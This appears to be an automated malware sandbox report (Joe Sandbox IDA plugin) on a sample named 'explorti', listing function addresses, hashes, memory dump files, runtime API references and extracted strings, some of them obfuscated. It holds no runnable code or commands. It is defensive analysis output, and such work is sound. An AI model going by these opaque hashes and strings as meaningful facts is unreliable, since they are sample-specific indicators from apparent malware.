Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: 429e23d53fa09dc0ac1c5002bbd249a5552ed63c7048351af0f685079408113a
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: 145198F020C6089ADF388AF888957BFE79EAF91300F14089DE452DB6E2CA15DD448F52

Function 00904CF0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 818de221f16ae99d8461716e00231f61324a101f8bfb2952062a7650be35bed1
Instruction ID: 437a039dc167d049f5848aeefe18b9283a9978c75147683dbe6c0c2e11214556
Opcode Fuzzy Hash: 818de221f16ae99d8461716e00231f61324a101f8bfb2952062a7650be35bed1
Instruction Fuzzy Hash: AE2270B3F515144BDB0CCA9DDCA27EDB2E3AFD8218B0E813DE40AE3345EA79D9158644

Function 00946F09 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8ba7b69e0a4fc1d6b704982427c0cf0f15249cb3cf0d7d8d78724535db1a69b
Instruction ID: 67c7950daa557575dbe02997b2d6672e298ccea2c60dccdb1a0bae3ff1d58ffd
Opcode Fuzzy Hash: e8ba7b69e0a4fc1d6b704982427c0cf0f15249cb3cf0d7d8d78724535db1a69b
Instruction Fuzzy Hash: 2EB14A71214609DFD719CF68C486F65BBA0FF49364F258658E8DACF2A1C336E992CB40

Function 00904AF0 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 009b7a9120e644c2cf8de42a0173f080cf928f71aba14e99bd8b046d2cc56d89
Instruction ID: 09a7669c965a0d71550e5d41a9c1ea0833e417662e3a81aa137f0c1301b4969f
Opcode Fuzzy Hash: 009b7a9120e644c2cf8de42a0173f080cf928f71aba14e99bd8b046d2cc56d89
Instruction Fuzzy Hash: 2051B1B060C7918FD319CF2DC01523ABBE1BFD9201F084A9EE4E697292D774DA04CBA1

Function 0094777B Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 703fec647c54feeb4da81c1828948dd4a3ee33e0e3ea8cf7fad4ade38c8a6e8f
Instruction ID: c67aca32a587b496afeae5631d3be43dce2d6843699c417807d10122dd59ee3e
Opcode Fuzzy Hash: 703fec647c54feeb4da81c1828948dd4a3ee33e0e3ea8cf7fad4ade38c8a6e8f
Instruction Fuzzy Hash: 1421B673F204394B770CC47E8C5727DB6E1C68C541745423AE8A6EA2C1D968D917E2E4

Function 0094765B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cb3940a5f7b9ae8c41b0d636efc01c9fd9508538aa10eb5b7a9f0365b2e0381
Instruction ID: 6539a21823882347eb69011ef73bdf480cfb032cb446601f70d4a1223d4d527e
Opcode Fuzzy Hash: 8cb3940a5f7b9ae8c41b0d636efc01c9fd9508538aa10eb5b7a9f0365b2e0381
Instruction Fuzzy Hash: 0411CA23F30C295B675C81BD8C1327AA1D3DBD824070F433AD826E7384E994DE23D290

Function 00948720 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: da3ff0b86d15888072ef8e4792820e83c62a23a5704ecc0b33df80e17e4eebbf
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 17112BBB20014247D604863DC9F8EBFA7DEEBC5325B3C437AD1418B758DE22E945DA00

Function 0093645B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfac6b8419d842c1555fc48c5c4f8437b47e599941959b7b88fc6e70ad5edf51
Instruction ID: 052a080005cc351cd269cb5b0a6f743fd55fb3c3a07c721026214e3f2f0dc20a
Opcode Fuzzy Hash: cfac6b8419d842c1555fc48c5c4f8437b47e599941959b7b88fc6e70ad5edf51
Instruction Fuzzy Hash: B6E0EC30691A48BBCF39BB55D84DE4C3B5AEF91390F548914F8444B232CB6AED82CE90

Function 0093A1C2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 9d8f325ebda5adea453f16587f740f71b38b1bae18490f03599fea20941bfcd5
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: F2E0B672919228EBCB25DBD88944E8AF2ACEB89B50F554496B501D3251C270DF00CBD1

Function 00912E20 Relevance: 17.9, APIs: 3, Strings: 7, Instructions: 434COMMON

Download Yara Rule

Strings

FAml, xrefs: 0091378F
UFy=, xrefs: 009133BA
246122658369, xrefs: 009133D4
invalid stoi argument, xrefs: 0091425A
stoi argument out of range, xrefs: 00914269
6JLUcxtnEx==, xrefs: 00912EC7
Dy==, xrefs: 0091369E

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID: 246122658369$6JLUcxtnEx==$Dy==$FAml$UFy=$invalid stoi argument$stoi argument out of range
API String ID: 0-3273830296
Opcode ID: 33aaa43351bc781ad626fb4deeafd63318c9f5f6b4736de6748c3ca1460c2442
Instruction ID: 043f983730cda147cefda2dc52e6a60e40d4bae1450a4be2d15de240018d81a9
Opcode Fuzzy Hash: 33aaa43351bc781ad626fb4deeafd63318c9f5f6b4736de6748c3ca1460c2442
Instruction Fuzzy Hash: 2A02E070A0024DEFEF14EFA8C849BDEBBB5AF45304F508158E805A72C2D7759A85CFA1

Function 00934770 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 009347A7
___except_validate_context_record.LIBVCRUNTIME ref: 009347AF
_ValidateLocalCookies.LIBCMT ref: 00934838
__IsNonwritableInCurrentImage.LIBCMT ref: 00934863
_ValidateLocalCookies.LIBCMT ref: 009348B8

Strings

csm, xrefs: 0093484D

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: eeb1f404e3e908e54e01c3b464cb1b86f1a28f210fe63916fedba067b7180e59
Instruction ID: 3a4a3683c45656fabbf6a80cd328f824199d4fe026db4e71f78e9e159b824f37
Opcode Fuzzy Hash: eeb1f404e3e908e54e01c3b464cb1b86f1a28f210fe63916fedba067b7180e59
Instruction Fuzzy Hash: 1151D634A00248ABCF10DF68C885AAE7BB9EF46318F168095E8159B352D732FE05CF91

Function 009370C9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 0093710B

Strings

.bat, xrefs: 0093713A
.exe, xrefs: 00937118
.cmd, xrefs: 00937129
.com, xrefs: 0093714B

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: d068007d72d8db8405d4df5225e28817c10a57474a0631a0b19ad5d3d60caa20
Instruction ID: d7e3eff71fbd337078bec5d78ccae89442d7f290a693b4939cbf9425c7a628e3
Opcode Fuzzy Hash: d068007d72d8db8405d4df5225e28817c10a57474a0631a0b19ad5d3d60caa20
Instruction Fuzzy Hash: 5F01FE7760C61666562865D99C0373B979C9BC3BB8F25002BFE44F73C1EE44DC064A90

Function 00902E80 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00902F1F
__Mtx_unlock.LIBCPMT ref: 00902F8C
__Cnd_broadcast.LIBCPMT ref: 00902FA3
__Mtx_unlock.LIBCPMT ref: 009030B5
__Mtx_unlock.LIBCPMT ref: 0090315B

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 0b23e47e5637d7fc1ccdbfc4ebb943216c2642d7c326a4742e35382c7c487dc4
Instruction ID: 57aac8b5f2b0681acd41f4f3c83700a25bba6b78f812cc7b7b0bda1f7a8ba396
Opcode Fuzzy Hash: 0b23e47e5637d7fc1ccdbfc4ebb943216c2642d7c326a4742e35382c7c487dc4
Instruction Fuzzy Hash: 7FA111B1A4530AAFDB11DF64C949BAAB7BCFF55354F008129E815D7281EB30EA44CB91

Function 0093C9B0 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0093CA37

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction ID: 24202edd3fef4e2c04c8c76c8ee3f34ca61f7b5357432f1fc7b89eeee78f5f3b
Opcode Fuzzy Hash: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction Fuzzy Hash: 76B126B2900A859FDB11CF28C841BAEBBF9EF95340F1485AAE485FB341D6349D41CF60

Function 0091BAA2 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0091BAFA
__Xtime_diff_to_millis2.LIBCPMT ref: 0091BB14
_xtime_get.LIBCPMT ref: 0091BB37
__Xtime_diff_to_millis2.LIBCPMT ref: 0091BB43

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
